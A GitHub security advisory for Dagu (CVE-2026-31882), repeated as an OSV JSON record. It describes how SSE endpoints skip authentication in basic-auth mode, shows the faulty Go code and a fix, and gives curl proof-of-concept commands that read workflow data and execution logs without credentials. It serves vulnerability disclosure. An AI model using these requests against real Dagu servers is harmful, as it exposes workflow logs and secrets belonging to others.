GHSA-9WMW-9WPH-2VWP

Vulnerability from github – Published: 2026-03-13 15:05 – Updated: 2026-03-16 17:06
VLAI?
Summary
Dagu: SSE Authentication Bypass in Basic Auth Mode
Details

SSE Authentication Bypass in Basic Auth Mode

Summary

When Dagu is configured with HTTP Basic authentication (DAGU_AUTH_MODE=basic), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status — bypassing the authentication that protects the REST API.

Severity

HIGH (CVSS 3.1: 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Affected Versions

  • dagu v2.2.3 (latest) and likely all versions with basic auth support

Affected Component

internal/service/frontend/server.gobuildStreamAuthOptions() function (lines 1177–1201)

Root Cause

The buildStreamAuthOptions() function builds authentication options for SSE/streaming endpoints. When the auth mode is basic, it returns an auth.Options struct with BasicAuthEnabled: true but AuthRequired defaults to false (Go zero value):

// server.go:1195-1201
if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
        // AuthRequired is NOT set — defaults to false
    }
}

The authentication middleware at internal/service/frontend/auth/middleware.go:181-183 allows unauthenticated requests when AuthRequired is false:

// No credentials provided
// If auth is not required, allow the request through
if !opts.AuthRequired {
    next.ServeHTTP(w, r)
    return
}

The developers left a FIXME comment (line 1193) acknowledging this issue:

// FIXME: add a session-token mechanism for basic-auth users so browser
// EventSource requests can authenticate via the ?token= query parameter.

Exposed SSE Endpoints

All SSE routes are affected (server.go:1004-1019):

Endpoint Data Leaked
/api/v1/events/dags All DAG names, descriptions, file paths, schedules, tags, execution status
/api/v1/events/dags/{fileName} Individual DAG configuration details
/api/v1/events/dags/{fileName}/dag-runs DAG execution history
/api/v1/events/dag-runs All active DAG runs across the system
/api/v1/events/dag-runs/{name}/{dagRunId} Specific DAG run status and node details
/api/v1/events/dag-runs/{name}/{dagRunId}/logs Execution logs (may contain secrets, credentials, API keys)
/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName} Step-level stdout/stderr logs
/api/v1/events/queues Queue status and pending work items
/api/v1/events/queues/{name}/items Queue item details
/api/v1/events/docs-tree Documentation tree
/api/v1/events/docs/* Documentation content

Additionally, the Agent SSE stream uses the same auth options (server.go:1166).

Proof of Concept

Setup

# Start Dagu with basic auth
export DAGU_AUTH_MODE=basic
export DAGU_AUTH_BASIC_USERNAME=admin
export DAGU_AUTH_BASIC_PASSWORD=secret123
dagu start-all

Verify REST API requires auth

# Regular API — returns 401 Unauthorized
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/api/v1/dags
# Output: 401

# With credentials — returns 200
curl -s -o /dev/null -w "%{http_code}" -u admin:secret123 http://localhost:8080/api/v1/dags
# Output: 200

Exploit SSE bypass

# SSE endpoint WITHOUT any credentials — returns 200 with full data
curl -s -N http://localhost:8080/api/v1/events/dags

Output (truncated):

event: connected
data: {"topic":"dagslist:"}

event: data
data: {"dags":[{"dag":{"name":"example-01-basic-sequential","schedule":[],...},
"filePath":"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml",
"latestDAGRun":{"dagRunId":"...","status":4,"statusLabel":"succeeded",...}},
...]}
# Access execution logs without credentials
curl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs

Output:

event: data
data: {"schedulerLog":{"content":"...step execution details, parameters, outputs..."},"stepLogs":[...]}

Wrong credentials are rejected

# Invalid credentials — returns 401 (auth validates IF provided, but doesn't REQUIRE it)
curl -s -o /dev/null -w "%{http_code}" -u wrong:wrong http://localhost:8080/api/v1/events/dags
# Output: 401

Impact

An unauthenticated network attacker can:

  1. Enumerate all workflows: DAG names, descriptions, file paths, schedules, and tags
  2. Monitor execution in real-time: Track which workflows are running, their status, and when they complete
  3. Read execution logs: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)
  4. Map infrastructure: File paths and workflow configurations reveal server directory structure and deployment details
  5. Observe queue state: Understand pending work items and system load

This is especially critical in environments where: - Workflows process sensitive data (credentials, PII, financial data) - DAG parameters contain secrets passed at runtime - Log output includes API responses or database queries with sensitive content

Suggested Fix

Set AuthRequired: true for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:

if authCfg.Mode == config.AuthModeBasic {
    return auth.Options{
        Realm:            realm,
        BasicAuthEnabled: true,
        AuthRequired:     true,  // Require authentication
        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},
    }
}

For browser SSE compatibility, implement a session token that can be passed via the ?token= query parameter (the QueryTokenMiddleware already exists at auth/middleware.go:39 to convert query params to Bearer tokens).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dagu"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T15:05:32Z",
    "nvd_published_at": "2026-03-13T19:54:37Z",
    "severity": "HIGH"
  },
  "details": "# SSE Authentication Bypass in Basic Auth Mode\n\n## Summary\n\nWhen Dagu is configured with HTTP Basic authentication (`DAGU_AUTH_MODE=basic`), all Server-Sent Events (SSE) endpoints are accessible without any credentials. This allows unauthenticated attackers to access real-time DAG execution data, workflow configurations, execution logs, and queue status \u2014 bypassing the authentication that protects the REST API.\n\n## Severity\n\n**HIGH** (CVSS 3.1: 7.5 \u2014 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\n## Affected Versions\n\n- dagu v2.2.3 (latest) and likely all versions with basic auth support\n\n## Affected Component\n\n`internal/service/frontend/server.go` \u2014 `buildStreamAuthOptions()` function (lines 1177\u20131201)\n\n## Root Cause\n\nThe `buildStreamAuthOptions()` function builds authentication options for SSE/streaming endpoints. When the auth mode is `basic`, it returns an `auth.Options` struct with `BasicAuthEnabled: true` but `AuthRequired` defaults to `false` (Go zero value):\n\n```go\n// server.go:1195-1201\nif authCfg.Mode == config.AuthModeBasic {\n    return auth.Options{\n        Realm:            realm,\n        BasicAuthEnabled: true,\n        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},\n        // AuthRequired is NOT set \u2014 defaults to false\n    }\n}\n```\n\nThe authentication middleware at `internal/service/frontend/auth/middleware.go:181-183` allows unauthenticated requests when `AuthRequired` is false:\n\n```go\n// No credentials provided\n// If auth is not required, allow the request through\nif !opts.AuthRequired {\n    next.ServeHTTP(w, r)\n    return\n}\n```\n\nThe developers left a FIXME comment (line 1193) acknowledging this issue:\n```\n// FIXME: add a session-token mechanism for basic-auth users so browser\n// EventSource requests can authenticate via the ?token= query parameter.\n```\n\n## Exposed SSE Endpoints\n\nAll SSE routes are affected (`server.go:1004-1019`):\n\n| Endpoint | Data Leaked |\n|----------|-------------|\n| `/api/v1/events/dags` | All DAG names, descriptions, file paths, schedules, tags, execution status |\n| `/api/v1/events/dags/{fileName}` | Individual DAG configuration details |\n| `/api/v1/events/dags/{fileName}/dag-runs` | DAG execution history |\n| `/api/v1/events/dag-runs` | All active DAG runs across the system |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}` | Specific DAG run status and node details |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs` | Execution logs (may contain secrets, credentials, API keys) |\n| `/api/v1/events/dag-runs/{name}/{dagRunId}/logs/steps/{stepName}` | Step-level stdout/stderr logs |\n| `/api/v1/events/queues` | Queue status and pending work items |\n| `/api/v1/events/queues/{name}/items` | Queue item details |\n| `/api/v1/events/docs-tree` | Documentation tree |\n| `/api/v1/events/docs/*` | Documentation content |\n\nAdditionally, the Agent SSE stream uses the same auth options (`server.go:1166`).\n\n## Proof of Concept\n\n### Setup\n```bash\n# Start Dagu with basic auth\nexport DAGU_AUTH_MODE=basic\nexport DAGU_AUTH_BASIC_USERNAME=admin\nexport DAGU_AUTH_BASIC_PASSWORD=secret123\ndagu start-all\n```\n\n### Verify REST API requires auth\n```bash\n# Regular API \u2014 returns 401 Unauthorized\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost:8080/api/v1/dags\n# Output: 401\n\n# With credentials \u2014 returns 200\ncurl -s -o /dev/null -w \"%{http_code}\" -u admin:secret123 http://localhost:8080/api/v1/dags\n# Output: 200\n```\n\n### Exploit SSE bypass\n```bash\n# SSE endpoint WITHOUT any credentials \u2014 returns 200 with full data\ncurl -s -N http://localhost:8080/api/v1/events/dags\n```\n\n**Output (truncated):**\n```\nevent: connected\ndata: {\"topic\":\"dagslist:\"}\n\nevent: data\ndata: {\"dags\":[{\"dag\":{\"name\":\"example-01-basic-sequential\",\"schedule\":[],...},\n\"filePath\":\"/home/user/.config/dagu/dags/example-01-basic-sequential.yaml\",\n\"latestDAGRun\":{\"dagRunId\":\"...\",\"status\":4,\"statusLabel\":\"succeeded\",...}},\n...]}\n```\n\n```bash\n# Access execution logs without credentials\ncurl -s -N http://localhost:8080/api/v1/events/dag-runs/{dagName}/{runId}/logs\n```\n\n**Output:**\n```\nevent: data\ndata: {\"schedulerLog\":{\"content\":\"...step execution details, parameters, outputs...\"},\"stepLogs\":[...]}\n```\n\n### Wrong credentials are rejected\n```bash\n# Invalid credentials \u2014 returns 401 (auth validates IF provided, but doesn\u0027t REQUIRE it)\ncurl -s -o /dev/null -w \"%{http_code}\" -u wrong:wrong http://localhost:8080/api/v1/events/dags\n# Output: 401\n```\n\n## Impact\n\nAn unauthenticated network attacker can:\n\n1. **Enumerate all workflows**: DAG names, descriptions, file paths, schedules, and tags\n2. **Monitor execution in real-time**: Track which workflows are running, their status, and when they complete\n3. **Read execution logs**: Access stdout/stderr of workflow steps, which commonly contain sensitive data (API keys, database credentials, tokens, internal hostnames)\n4. **Map infrastructure**: File paths and workflow configurations reveal server directory structure and deployment details\n5. **Observe queue state**: Understand pending work items and system load\n\nThis is especially critical in environments where:\n- Workflows process sensitive data (credentials, PII, financial data)\n- DAG parameters contain secrets passed at runtime\n- Log output includes API responses or database queries with sensitive content\n\n## Suggested Fix\n\nSet `AuthRequired: true` for basic auth mode and implement the session-token mechanism referenced in the FIXME comment:\n\n```go\nif authCfg.Mode == config.AuthModeBasic {\n    return auth.Options{\n        Realm:            realm,\n        BasicAuthEnabled: true,\n        AuthRequired:     true,  // Require authentication\n        Creds:            map[string]string{authCfg.Basic.Username: authCfg.Basic.Password},\n    }\n}\n```\n\nFor browser SSE compatibility, implement a session token that can be passed via the `?token=` query parameter (the `QueryTokenMiddleware` already exists at `auth/middleware.go:39` to convert query params to Bearer tokens).",
  "id": "GHSA-9wmw-9wph-2vwp",
  "modified": "2026-03-16T17:06:32Z",
  "published": "2026-03-13T15:05:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-9wmw-9wph-2vwp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31882"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/pull/1752"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/commit/064616c9b80c04824c1c7c357308f77f3f24d775"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dagu-org/dagu"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dagu-org/dagu/releases/tag/v2.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dagu: SSE Authentication Bypass in Basic Auth Mode"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…